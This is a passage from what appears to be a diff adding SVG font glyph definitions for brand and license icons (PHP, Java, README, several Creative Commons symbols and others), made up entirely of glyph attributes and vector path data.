236.8v89.6006h-268.801v-268.801h89.6006v89.6006h89.5996v89.5996h89.6006z" /> + <glyph glyph-name="hips" unicode="" horiz-adv-x="640" +d="M251.6 290.4v-201.801c0 -1.89941 -0.899414 -2.7998 -2.7998 -2.7998h-40.8994c-1.60059 0 -2.7002 1.40039 -2.7002 2.7998v201.801c0 1.39941 1.09961 2.7998 2.7002 2.7998h40.8994c1.90039 0 2.7998 -0.900391 2.7998 -2.7998zM156.5 280 +c18.7002 -13.5 28 -31.9004 28 -55.2998v-136.101c0 -1.89941 -0.900391 -2.7998 -2.7002 -2.7998h-27.2998c-9.09961 0 -16.4004 7.2998 -16.4004 16.2998v122.601c0 0.899414 2.7002 27 -45.7998 27c-48.5996 0 -45.7998 -26.2002 -45.7998 -27v-136.101 +c0 -1.89941 -0.900391 -2.7998 -2.7998 -2.7998h-41c-1.7998 0 -2.7002 0.900391 -2.7002 2.7998v279.2c0 1.7998 0.900391 2.7002 2.7002 2.7002h40.8994c1.90039 0 2.80078 -0.900391 2.80078 -2.7002v-81.2002c15.1992 7.7002 31.6992 11.5 49.7998 11.4004 +c24 -0.0996094 44.2002 -6.2002 60.2998 -18zM634.9 169.9c5.5 -12.6006 6.59961 -25.6006 3.09961 -39.1006c-9.59961 -36.8994 -44.9004 -45.5 -45.5996 -45.7998c-10.5 -3.09961 -23.6006 -4.2998 -36.3008 -4.2998c-16.5996 0 -32.5996 2.7002 -48.1992 8.2002 +c-9.7002 3.39941 -14.6006 10.2998 -14.6006 20.6992v34.4004c0 2.09961 2.2998 3.7002 4.40039 2.2998c13.7002 -10.2002 34.0996 -19.0996 58.3994 -19.0996c23.3008 0 32.8008 4.5 36.5 13.5996c3 7.90039 -0.599609 16.1006 -12.1992 21.2002l-53.6006 23.5 +c-21.3994 9.40039 -33.7998 24 -37.2002 43.5996c-5.69922 33.7002 22.2002 53.3008 22.7002 53.7002c13.2002 9.60059 32 15.4004 58.5 15.4004c19 0 37.4004 -3.2998 55.1006 -9.90039c1.2998 -0.5 1.89941 -1.2998 1.89941 -2.59961v-44.7002 +c0 -2.09961 -2.2998 -3.40039 -4 -2.40039c-39.7002 20.7002 -76.5996 12.3008 -84 6.80078c-6.59961 -4.90039 -6 -12.5 2.60059 -16.1006l57.5996 -25.2998c16.5 -7.09961 28.0996 -18.4004 34.9004 -34.0996zM376.2 298.2c60.3994 0 108.7 -48.2998 108.6 -108.601 +c0 -60.1992 -48.2002 -108.699 -108.7 -108.699c-21.8994 0 -41.1992 6.39941 -57.6992 19.0996v-88.7998c0 -1.7998 -0.900391 -2.7002 -2.80078 -2.7002h-40.8994c-2.10059 0 -2.7002 1.90039 -2.7002 2.7002v183.5c0 83.3994 72.5 103.5 104.2 103.5zM376.2 127.3 +c34.8994 0 62.2998 27.9004 62.2002 62.2002c0 34.5996 -27.7002 62.2002 -62.2002 62.2002c-34.6006 0 -62.2002 -27.7002 -62.2002 -62.2002c0 -17.2002 6 -31.7998 18.2002 -44c12.0996 -12.0996 26.7998 -18.2002 44 -18.2002zM228.3 375.5 +c15.9004 0 28.9004 -12.7002 28.9004 -28.9004c0 -15.7998 -12.7002 -28.8994 -28.9004 -28.8994s-28.8994 13.2998 -28.8994 28.8994c0.0996094 16 13 28.9004 28.8994 28.9004z" /> + <glyph glyph-name="php" unicode="" horiz-adv-x="640" +d="M320 343.5c-171.3 0 -303.2 -72.2002 -303.2 -151.5s131.8 -151.5 303.2 -151.5c171.3 0 303.2 72.2002 303.2 151.5s-131.8 151.5 -303.2 151.5zM320 360.3c176.7 0 320 -75.2998 320 -168.3s-143.3 -168.3 -320 -168.3s-320 75.2998 -320 168.3s143.3 168.3 320 168.3z +M218.2 205.5c7.39941 38.4004 -18.4004 34.2998 -56.4004 34.2998l-13.7002 -70.5996c34.3008 0 62.2002 -4.2002 70.1006 36.2998zM97.4004 97.7002l32.6992 168.7h70.7002c21.2002 0 36.7998 -5.5 46.5 -16.7002c18.6006 -21.4004 11.7998 -64.1006 -14.2998 -88.1006 +c-23.5996 -22.0996 -49.0996 -19.0996 -90.2002 -19.0996l-8.7002 -44.7998h-36.6992zM283.1 311.3h36.5l-8.69922 -44.7998c31.5 0 60.6992 2.2998 74.7998 -10.7002c14.7998 -13.5996 7.7002 -31 -8.2998 -113.1h-37c15.3994 79.3994 18.2998 86 12.6992 92 +c-5.39941 5.7998 -17.6992 4.59961 -47.3994 4.59961l-18.7998 -96.5996h-36.5zM505 205.5c7.40039 38.4004 -18.2002 34.2998 -56.4004 34.2998l-13.6992 -70.5996c33.3994 0 62.0996 -4.7998 70.0996 36.2998zM384.2 97.7002l32.7998 168.7h70.7002 +c21.2002 0 36.7998 -5.5 46.5 -16.7002c18.5996 -21.4004 11.7998 -64.1006 -14.2998 -88.1006c-23.1006 -21.5996 -47 -19.0996 -90.2002 -19.0996l-8.7002 -44.7998h-36.7998z" /> + <glyph glyph-name="quinscape" unicode="" horiz-adv-x="512" +d="M313.6 -26.5996c4.40039 -4.40039 8.10059 -9 13.3008 -12.5c-21.7051 -6.54492 -44.666 -10.1084 -68.4922 -10.1084c-0.636719 0 -1.27246 0.00292969 -1.9082 0.0078125c-135 0 -244.5 109.5 -244.5 244.601c0 135.1 109.4 244.6 244.5 244.6 +s244.6 -109.5 244.6 -244.6c0 -35.3008 -6.89941 -67.4004 -20.2998 -97.7002c-3 5.7002 -7.2002 10.2002 -11.2002 15.2998c11.2002 93.5 -62.0996 176.6 -157 176.6c-87.2578 0 -158.1 -70.8418 -158.1 -158.1s70.8418 -158.1 158.1 -158.1h1zM313.5 -26.5 +l0.400391 -0.0996094zM391.9 142.4c54.7393 0 99.1992 -44.4414 99.1992 -99.1797v-0.0205078c0 -54.75 -44.4492 -99.2002 -99.1992 -99.2002s-99.2002 44.4502 -99.2002 99.2002s44.4502 99.2002 99.2002 99.2002z" /> + <glyph glyph-name="readme" unicode="" horiz-adv-x="576" +d="M528.3 401.5c26.4004 -0.200195 47.7002 -21.7002 47.7002 -48.0996v-245.7c0 -26.5 -21.5 -48 -48 -48h-89.7002c-102.1 0 -132.6 -24.4004 -147.3 -75c-0.799805 -2.7998 -5.2998 -2.7998 -6 0c-14.5996 50.5996 -45.0996 75 -147.3 75h-89.7002 +c-26.5 0 -48 21.5 -48 48v245.8c0 26.5 21.5 48 48 48h139.7c48.0996 0 89.7998 -33.2998 100.399 -80.2998c10.5 47 52.3008 80.2998 100.4 80.2998h139.8zM242 136.1h0.0996094v22.9004c0 2 -1.59961 3.5 -3.5 3.5h-160.399c-2 0 -3.5 -1.59961 -3.5 -3.5v-22.9004 +c0 -2 1.59961 -3.5 3.5 -3.5h160.3c2 0 3.5 1.60059 3.5 3.5zM242 197h0.0996094v22.9004c0 2 -1.59961 3.5 -3.5 3.5h-160.399c-2 0 -3.5 -1.60059 -3.5 -3.5v-22.9004c0 -2 1.59961 -3.5 3.5 -3.5h160.3c2 0 3.5 1.59961 3.5 3.5zM242 257.9h0.0996094v22.8994 +c0 2 -1.59961 3.5 -3.5 3.5h-160.399c-2 0 -3.5 -1.59961 -3.5 -3.5v-22.8994c0 -2 1.59961 -3.5 3.5 -3.5h160.3c2 0 3.5 1.59961 3.5 3.5zM501.3 136.2h0.100586v22.8994c0 2 -1.60059 3.5 -3.5 3.5h-160.4c-2 0 -3.5 -1.59961 -3.5 -3.5v-22.8994 +c0 -2 1.59961 -3.5 3.5 -3.5h160.3c2 0 3.5 1.59961 3.5 3.5zM501.3 197.1h0.100586v22.9004c0 2 -1.60059 3.5 -3.5 3.5h-160.4c-2 0 -3.5 -1.59961 -3.5 -3.5v-22.9004c0 -2 1.59961 -3.5 3.5 -3.5h160.3c2 0 3.5 1.60059 3.5 3.5zM501.3 258h0.100586v22.7998 +c0 2 -1.60059 3.5 -3.5 3.5h-160.4c-2 0 -3.5 -1.59961 -3.5 -3.5v-22.7998c0 -2 1.59961 -3.5 3.5 -3.5h160.3c2 0 3.5 1.59961 3.5 3.5z" /> + <glyph glyph-name="java" unicode="" horiz-adv-x="384" +d="M277.74 135.1c-94.5 -24.8994 -277 -13.2998 -224.5 12.1006c44.5 21.3994 80.5996 19 80.5996 19s-93.0996 -22.1006 -33 -30.1006c25.4004 -3.39941 76 -2.59961 123.101 1.30078c38.5 3.19922 77.1992 10.1992 77.1992 10.1992s-13.5996 -5.7998 -23.3994 -12.5z +M192.34 167.2c-48.5 43.7998 -84.0996 82.2998 -60.2002 118.2c35.1006 52.5 132.2 78.0996 110.7 162.6c0 0 53.1602 -53.2002 -50.5 -135c-83.0996 -65.5996 -19 -103.1 0 -145.8zM306.94 343.4c-111.601 -64.7002 -91 -83.5 -64.1006 -121.301 +c28.7998 -40.5 -33.8994 -72.8994 -33.8994 -72.8994s31.1992 25.5996 6.5 54c-83.7002 96.3994 91.5996 140.2 91.5 140.2zM300.84 72.9004c96.1006 49.8994 51.6006 97.8994 20.6006 91.3994c-3.75195 -0.703125 -7.4834 -1.72656 -11 -3 +c2.01367 2.86523 4.85742 5.07227 8.19922 6.2998c61.3008 21.6006 108.5 -63.5996 -19.7998 -97.2998c0.78125 0.773438 1.44922 1.63965 2 2.60059zM348 10.5996c53 -23.8994 -115.16 -72 -319.4 -38.7998c-74.8994 12.1006 36.1006 54.5 56.4004 40.2002 +c0 0 -6.5 0.400391 -17.7002 -2c-10.7998 -2.2998 -45.0996 -13.4004 -26.7998 -21.2998c50.7998 -22.1006 233.7 -16.7998 291.6 0.700195c30.4004 9.2998 15.9004 21.1992 15.9004 21.1992zM124.44 52c0 0 -19.6006 -11.4004 13.8994 -15.2002 +c40.6006 -4.59961 61.2998 -4 106 4.5c8.91016 -5.33594 18.4062 -9.99512 28.2002 -13.7998c-100.2 -42.9004 -226.8 2.5 -148.1 24.5zM304.24 -45.2002c69.7998 13.2002 76.2002 29.7002 76.2002 29.7002c-3.30078 -43.5996 -144.9 -52.7998 -237.101 -46.9004 +c-60.5996 3.90039 -72.3994 13.7002 -72.3994 13.6006c57.5 -9.5 154.6 -11.2002 233.3 3.59961zM260.64 95c6.01562 -5.61719 13.1807 -10.0039 21.1006 -12.7998c-121.3 -35.5 -256.3 -2.90039 -169.5 25.8994c0 0 -21.9004 -16.1992 11.5996 -19.6992 +c43.2998 -4.5 77.6006 -4.80078 136.8 6.59961z" /> + <glyph glyph-name="pied-piper-hat" unicode="" horiz-adv-x="640" +d="M640 423.1c-80.7998 -53.5996 -89.4004 -92.5 -96.4004 -104.399c-6.69922 -12.2002 -11.6992 -60.2998 -23.2998 -83.6006c-11.7002 -23.5996 -54.2002 -42.1992 -66.0996 -50c-11.7002 -7.7998 -28.2998 -38.0996 -41.9004 -64.1992 +c-108.1 4.39941 -167.399 -38.8008 -259.2 -93.6006c29.4004 9.7002 43.3008 16.7002 43.3008 16.7002c94.1992 36 139.3 68.2998 281.1 49.2002c1.09961 0 1.90039 -0.600586 2.7998 -0.799805c3.90039 -2.2002 5.2998 -6.90039 3.10059 -10.8008l-53.9004 -95.7998 +c-2.5 -4.7002 -7.7998 -7.2002 -13.0996 -6.09961c-126.801 23.7998 -226.9 -17.2998 -318.9 -18.6006c-73.4004 -1.09961 -97.5 33.5 -97.5 35.1006c0 1.09961 0.599609 1.7002 1.7002 1.7002c0 0 38.2998 0 103.1 15.2998c73.6006 140.3 139.2 189.399 210.601 189.399 +c0 0 71.6992 0 90.5996 -61.8994c22.7998 39.7002 28.2998 49.2002 28.2998 49.2002c5.2998 9.39941 35 77.1992 86.4004 141.399c51.5 64 90.3994 79.9004 119.3 91.7998z" /> + <glyph glyph-name="creative-commons-by" unicode="" horiz-adv-x="496" +d="M314.9 253.6v-101.399h-28.3008v-120.5h-77.0996v120.399h-28.2998v101.5c0 4.40039 1.59961 8.2002 4.59961 11.3008c3.10059 3.09961 6.90039 4.69922 11.2998 4.69922h101.9c4.09961 0 7.7998 -1.59961 11.0996 -4.69922 +c3.10059 -3.2002 4.80078 -6.90039 4.80078 -11.3008zM213.4 317.3c0 23.2998 11.5 35 34.5 35s34.5 -11.7002 34.5 -35c0 -23 -11.5 -34.5 -34.5 -34.5s-34.5 11.5 -34.5 34.5zM247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248 +c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3z" /> + <glyph glyph-name="creative-commons-nc" unicode="" horiz-adv-x="496" +d="M247.6 440c139.801 0 248.4 -107.9 248.4 -248c0 -147.2 -118.5 -248 -248.4 -248c-134.5 0 -247.6 110.8 -247.6 248c0 132.9 104.7 248 247.6 248zM55.7998 258.9c-7.39941 -20.4004 -11.0996 -42.7002 -11.0996 -66.9004c0 -110.9 92.0996 -202.4 203.7 -202.4 +c122.399 0 177.199 101.801 178.5 104.101l-93.4004 41.5996c-7.7002 -37.0996 -41.2002 -53 -68.2002 -55.3994v-38.1006h-28.7998v38.2002c-27.5 0.299805 -52.5996 10.2002 -75.2998 29.7002l34.0996 34.5c31.7002 -29.4004 86.4004 -31.7998 86.4004 2.2002 +c0 6.19922 -2.2002 11.1992 -6.60059 15.0996c-14.1992 6 -1.7998 0.0996094 -219.3 97.4004zM248.4 395.7c-38.4004 0 -112.4 -8.7002 -170.5 -93l94.7998 -42.5c10 31.2998 40.3994 42.8994 63.7998 44.2998v38.0996h28.7998v-38.0996 +c22.7002 -1.2002 43.4004 -8.90039 62 -23l-32.2998 -33.2002c-42.7002 29.9004 -83.5 8 -70 -11.0996c53.4004 -24.1006 43.7998 -19.7998 93 -41.6006l127.1 -56.6992c4.10059 17.3994 6.2002 35.0996 6.2002 53.0996c0 57 -19.7998 105 -59.2998 143.9 +c-39.2998 39.8994 -87.2002 59.7998 -143.6 59.7998z" /> + <glyph glyph-name="creative-commons-nc-eu" unicode="" horiz-adv-x="496" +d="M247.7 440c140.7 0 248.3 -109 248.3 -248c0 -147.1 -118.1 -248 -248.3 -248c-136 0 -247.7 111.7 -247.7 248c0 131.2 103.6 248 247.7 248zM248.3 -10.7002c122.601 0 177.3 102.2 178.8 104.3l-128.3 56.8008h-90.2998 +c9.2002 -39.3008 39.0996 -50.2002 67.2998 -50.2002c19.1006 0 38.6006 6.2002 47.2998 10.7998l10 -46.0996c-14.1992 -7.90039 -38.1992 -15.8008 -64.7998 -15.8008c-57.3994 0 -113.2 34.3008 -124.6 101.301h-27v29.5h22.7998 +c0 16.2998 0.400391 13.2998 0.400391 19.5h-23.3008v29.5h4.7002l-65.7002 29.0996c-7.19922 -20.7998 -10.8994 -42.7998 -10.8994 -66c0 -110.2 91.5996 -202.7 203.6 -202.7zM231.6 179.9l-0.5 0.399414l0.900391 -0.399414h-0.400391zM308.8 199.4l136.101 -60.5 +c4.19922 16.5996 6.2998 34.1992 6.2998 52.8994c0 113.2 -90 203.4 -203 203.4c-13 0 -106.101 3.2002 -170.7 -93.6006l81.5996 -36.0996c4.10059 7.2002 8.60059 14 13.9004 20.0996c23.7002 26.5 56.9004 42.3008 95.9004 42.3008 +c25.2998 0 47.2998 -5.80078 62.2998 -12.4004l-11.6006 -47.2998c-10.7998 4.59961 -27.7998 10 -46.0996 10c-20 0 -38.2002 -6.60059 -51.0996 -22.4004c-3.40039 -3.7998 -6.30078 -8.7998 -8.80078 -14.2998l28.6006 -12.5996h70.2998v-29.5h-3.7002z" /> + <glyph glyph-name="creative-commons-nc-jp" unicode="" horiz-adv-x="496" +d="M247.7 440c140.8 0 248.3 -109.2 248.3 -248c0 -147.2 -118.1 -248 -248.3 -248c-135.9 0 -247.7 111.6 -247.7 248c0 131.2 103.6 248 247.7 248zM248.3 -10.7002c118.101 0 173.7 96.1006 175.2 98.2998l-81 36.1006v-35.7002h-64.2002v-56h-61.7002v56h-63.7998 +v38.7002h63.7998v18.7002l-5.69922 11.7998h-58.1006v38.5996h27.9004l-127 56.5c-6 -19.0996 -9 -39.2002 -9 -60.2998c0 -110.2 91.5996 -202.7 203.6 -202.7zM335.9 126.6l-54.7002 24.3008l-2.90039 -5.60059v-18.7002h57.6006zM342.4 178l101 -45.0996 +c5.19922 18.3994 7.89941 38 7.89941 59c0 113.399 -90.2002 203.399 -203 203.399c-91.0996 0 -145.899 -54 -173.7 -98.0996l81.9004 -36.5l-27.2998 51h65.7998l39.5996 -85.7002l23 -10.2002l43.4004 96h65.7998l-63 -116h38.6006v-17.7998z" /> + <glyph glyph-name="creative-commons-nd" unicode="" horiz-adv-x="496" +d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8 +c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM342.4 251v-42.5h-180.301v42.5h180.301zM342.4 171.2v-42.5h-180.301v42.5h180.301z" /> + <glyph glyph-name="creative-commons-pd" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111.1 248 -248c0 -137 -111 -248 -248 -248s-248 111 -248 248c0 136.9 111 248 248 248zM248 -9.5c76.0996 0 142.4 42.4004 176.7 104.8c-1.40039 0.299805 12.5 -5.7998 -217.9 96.7998c0.200195 -32 16.1006 -71.8994 53.9004 -71.8994 +c18.7002 0 30.7998 10.3994 36.2998 16.7002l36.0996 -43.9004c-25.8994 -22.7998 -56.5 -29.5 -79.3994 -29.5c-46.5 0 -120.4 27.9004 -120.4 126.9c0 11.3994 1.2002 22.3994 3.2998 32.8994l-78.7998 35.1006c-45.5996 -129.9 51 -267.9 190.2 -267.9zM442.2 140.5 +c0.200195 -0.200195 0.299805 -0.299805 0.599609 -0.400391c4.40039 16.6006 6.7998 34 6.7998 52c0 111.101 -90.3994 201.5 -201.5 201.5c-70.3994 0 -132.399 -36.2998 -168.5 -91.1992l74.9004 -33.4004c19.7998 31.0996 53.2998 51.5996 100.7 51.5996 +c20.0996 0 51 -4.19922 78.0996 -27.5l-40.3994 -41.5996c-19.8008 19.7002 -55.9004 23 -74.7002 -11z" /> + <glyph glyph-name="creative-commons-pd-alt" unicode="" horiz-adv-x="496" +d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 -10.7998c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3 +c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8zM316.7 262c21.3994 0 70 -5.2002 70 -68.5996c0 -63.5 -48.6006 -68.6006 -70 -68.6006h-53.2002v137.2h53.2002zM317.5 153.5c24 0 34.5 15.2998 34.5 39.9004 +c0 42 -31.2002 39.8994 -35 39.8994l-19.4004 -0.0996094v-79.7002h19.9004zM203.7 262c33.7002 0 50.5 -15.5 50.5 -46.5c0 -9 -3 -46.5 -57.1006 -46.5h-27v-44.2998h-34.5996v137.3h68.2002zM198.8 194.7c27.9004 0 30 41.5996 -0.899414 41.5996h-28.3008v-41.5996 +h29.2002z" /> + <glyph glyph-name="creative-commons-remix" unicode="" horiz-adv-x="496" +d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8 +c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM410.1 187.6l4.90039 -2.19922v-70c-7.2002 -3.60059 -63.4004 -27.5 -67.2998 -28.8008c-6.5 1.80078 -113.7 46.8008 -137.3 56.2002l-64.2002 -26.5996l-63.2998 27.5v63.7998 +l59.2998 24.7998c-0.700195 0.700195 -0.400391 -5 -0.400391 70.4004l67.2998 29.7002l151.9 -62.9004v-61.5996zM339.7 106.1v43.8008h-0.400391v1.7998l-113.8 46.5v-45.2002l113.8 -46.9004v0.400391zM347.2 163.7l39.8994 16.3994l-36.7998 15.5l-39 -16.3994z +M399.5 125.6v43l-44.2998 -18.5996v-43.4004z" /> + <glyph glyph-name="creative-commons-sa" unicode="" horiz-adv-x="496" +d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8 +c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM137.7 227c13 83.9004 80.5 95.7002 108.899 95.7002c99.8008 0 127.5 -82.5 127.5 -134.2c0 -63.5996 -41 -132.9 -128.899 -132.9c-38.9004 0 -99.1006 20 -109.4 97h62.5 +c1.5 -30.0996 19.6006 -45.1992 54.5 -45.1992c23.2998 0 58 18.1992 58 82.7998c0 82.5 -49.0996 80.5996 -56.7002 80.5996c-33.0996 0 -51.6992 -14.5996 -55.7998 -43.7998h18.2002l-49.2002 -49.2002l-49 49.2002h19.4004z" /> + <glyph glyph-name="creative-commons-sampling" unicode="" horiz-adv-x="496" +d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8 +c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM252 342.1c2.7998 0.300781 11.5 -1 11.5 -11.5l6.59961 -107.199l4.90039 59.2998c0 6 4.7002 10.5996 10.5996 10.5996c5.90039 0 10.6006 -4.7002 10.6006 -10.5996 +c0 -2.5 -0.5 5.7002 5.7002 -81.5l5.7998 64.2002c0.299805 2.89941 2.89941 9.2998 10.2002 9.2998c3.7998 0 9.89941 -2.2998 10.5996 -8.90039l11.5 -96.5l5.2998 12.7998c1.7998 4.40039 5.2002 6.60059 10.2002 6.60059h58v-21.2998h-50.9004l-18.1992 -44.3008 +c-3.90039 -9.89941 -19.5 -9.09961 -20.8008 3.10059l-4 31.8994l-7.5 -92.5996c-0.299805 -3 -3 -9.2998 -10.1992 -9.2998c-3 0 -9.80078 2.09961 -10.6006 9.2998c0 1.90039 0.600586 -5.7998 -6.2002 77.9004l-5.2998 -72.2002 +c-1.09961 -4.7998 -4.7998 -9.2998 -10.5996 -9.2998c-2.90039 0 -9.7998 2 -10.6006 9.2998c0 1.89941 0.5 -6.7002 -5.7998 87.7002l-5.7998 -94.8008c0 -6.2998 -3.59961 -12.3994 -10.5996 -12.3994c-5.2002 0 -10.6006 4.09961 -10.6006 12l-5.7998 87.7002 +c-5.7998 -92.5 -5.2998 -84 -5.2998 -85.9004c-1.10059 -4.7998 -4.7998 -9.2998 -10.6006 -9.2998c-3 0 -9.7998 2.09961 -10.5996 9.2998c0 0.700195 -0.400391 1.09961 -0.400391 2.59961l-6.19922 88.6006l-4.90039 -56.7002 +c-0.700195 -6.5 -6.7002 -9.2998 -10.5996 -9.2998c-5.80078 0 -9.60059 4.09961 -10.6006 8.89941l-11.0996 76.4004c-2 -4 -3.5 -8.40039 -11.1006 -8.40039h-51.3994v21.3008h44.7998l13.7002 27.8994c4.39941 9.90039 18.2002 7.2002 19.8994 -2.7002l3.10059 -20.3994 +l8.39941 97.8994c0 6 4.80078 10.6006 10.6006 10.6006c0.5 0 10.5996 0.200195 10.5996 -12.4004l4.90039 -69.0996l6.59961 92.5996c0 10.1006 9.5 10.6006 10.2002 10.6006c0.599609 0 10.5996 -0.700195 10.5996 -10.6006l5.30078 -80.5996l6.19922 97.8994 +c0.100586 1.10059 -0.599609 10.3008 9.90039 11.5z" /> + <glyph glyph-name="creative-commons-sampling-plus" unicode="" horiz-adv-x="496" +d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8 +c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM355.4 189.7l58.3994 0.299805v-23.2002h-50.5l-18 -43.3994c-4.59961 -11 -20.8994 -8.7002 -22.2998 3.09961l-2.7002 22.2998l-6.7998 -83 +c-1.09961 -14.0996 -22 -14.2002 -23.0996 0.100586l-4.90039 64.3994l-4.59961 -58.5996c-1.10059 -14.2998 -22.3008 -14.1006 -23.2002 0.200195l-4.5 71.7998l-4.90039 -80.5c-0.899414 -14.5 -22.2998 -14.5 -23.2002 -0.100586l-4.7998 73.3008l-4.59961 -70.4004 +c-0.900391 -14.2998 -22.1006 -14.5 -23.2002 -0.0996094l-5.7002 78.2998l-3.7998 -43.6006c-1.2002 -13.6992 -21.0996 -14.1992 -23.0996 -0.699219l-10.7002 73.0996c-2 -3.90039 -6 -6.40039 -10.4004 -6.40039h-51.2998v23.2002h43.9004l13.1992 27.7002 +c4.90039 10.2998 20.3008 8.09961 22 -3.2998l1.80078 -12.2002l7.69922 89.7998c1.2002 14.1006 22.1006 14.1006 23.2002 -0.200195l4.10059 -57l5.2998 80.2002c1 14.4004 22.2998 14.4004 23.2002 0l4.2998 -66.2998l5.09961 83.7002 +c0.900391 14.3994 22.2998 14.5 23.2002 0l5.90039 -94.2998l3.5 44.8994c1.09961 14.2002 22.0996 14.2998 23.1992 0l5.2002 -68.7998l4.2998 51.4004c1.10059 13.7998 21.4004 14.2998 23.1006 0.399414l11 -92.7998l4 9.5c1.7002 4.40039 6 7.2002 10.7002 7.2002z +M277.4 184.5c4.09961 0 7.5 3.40039 7.5 7.5c0 4.2002 -3.40039 7.5 -7.5 7.5h-21.9004v21.9004c0 4.19922 -3.40039 7.5 -7.5 7.5s-7.5 -3.40039 -7.5 -7.5v-21.9004h-21.9004c-4.09961 0 -7.5 -3.40039 -7.5 -7.5c0 -4.2002 3.40039 -7.5 7.5 -7.5h21.9004v-21.9004 +c0 -4.19922 3.40039 -7.5 7.5 -7.5c4.2002 0 7.5 3.40039 7.5 7.5v21.9004h21.9004z" /> + <glyph glyph-name="creative-commons-share" unicode="" horiz-adv-x="496" +d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8 +c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM349.4 262.9c7.7998 0 13.6992 -6.10059 13.6992 -13.7002v-182.5c0 -7.7002 -6.09961 -13.7002 -13.6992 -13.7002h-135.101c-7.7002 0 -13.7002 6 -13.7002 13.7002v54h-54 +c-7.7998 0 -13.6992 6 -13.6992 13.7002v182.5c0 8.19922 6.59961 12.6992 12.3994 13.6992h136.4c7.7002 0 13.7002 -6 13.7002 -13.6992v-54h54zM159.9 147.7h40.6992v101.399c0 7.40039 5.80078 12.6006 12 13.7002h55.8008v40.2998h-108.5v-155.399zM336.1 235.8h-108.5 +v-155.399h108.5v155.399z" /> + <glyph glyph-name="creative-commons-zero" unicode="" horiz-adv-x="496" +d="M247.6 440c141.801 0 248.4 -110.1 248.4 -248c0 -147.1 -118.5 -248 -248.4 -248c-134 0 -247.6 109.5 -247.6 248c0 132.9 104.7 248 247.6 248zM248.4 395.3c-118.2 0 -203.7 -97.8994 -203.7 -203.3c0 -109.8 91.2002 -202.8 203.7 -202.8 +c103.199 0 202.8 81.0996 202.8 202.8c0.0996094 113.8 -90.2002 203.3 -202.8 203.3zM248 334.8c81.9004 0 102.5 -77.2998 102.5 -142.8s-20.5996 -142.8 -102.5 -142.8s-102.5 77.2998 -102.5 142.8s20.5996 142.8 102.5 142.8zM248 280.9 +c-42.0996 0 -44.0996 -60.1006 -44.0996 -88.9004c0 -9.2998 0.199219 -21.7002 1.89941 -34.4004l54.5 100.2c5.7002 9.7998 2.7998 16.7998 -3.09961 21.9004c-2.7998 0.700195 -5.90039 1.2002 -9.2002 1.2002zM288.8 234.7l-60.8994 -105.2 +c-12.5 -18.7002 6.59961 -26.4004 20.0996 -26.4004c42.0996 0 44.0996 60 44.0996 88.9004c0 11.2998 -0.399414 27.2998 -3.2998 42.7002z" /> + <glyph glyph-name="ebay" unicode="" horiz-adv-x="640" +d="M606 258.5h34l-99.2002 -194.8h-35.8994l28.5 54.0996l-61.5 116.101c3.09961 -6.60059 4.7998 -14.5 4.7998 -23.8008v-65.5996c0 -9.2998 0.299805 -18.5996 1 -26.7998h-29.7998c-0.800781 6.89941 -1.10059 13.5996 -1.10059 20.2002 +c-16.0996 -19.8008 -35.2998 -25.5 -61.8994 -25.5c-39.5 0 -60.6006 20.8994 -60.6006 45c0 3.19922 0.200195 6.19922 0.700195 9c-8.40039 -32.3008 -36.4004 -54.2002 -73.2998 -54.2002c-23.2998 0 -45.1006 8.2998 -58.7002 24.8994 +c0 -6.59961 -0.400391 -13.1992 -1.09961 -19.5h-31.5c0.5 10.2002 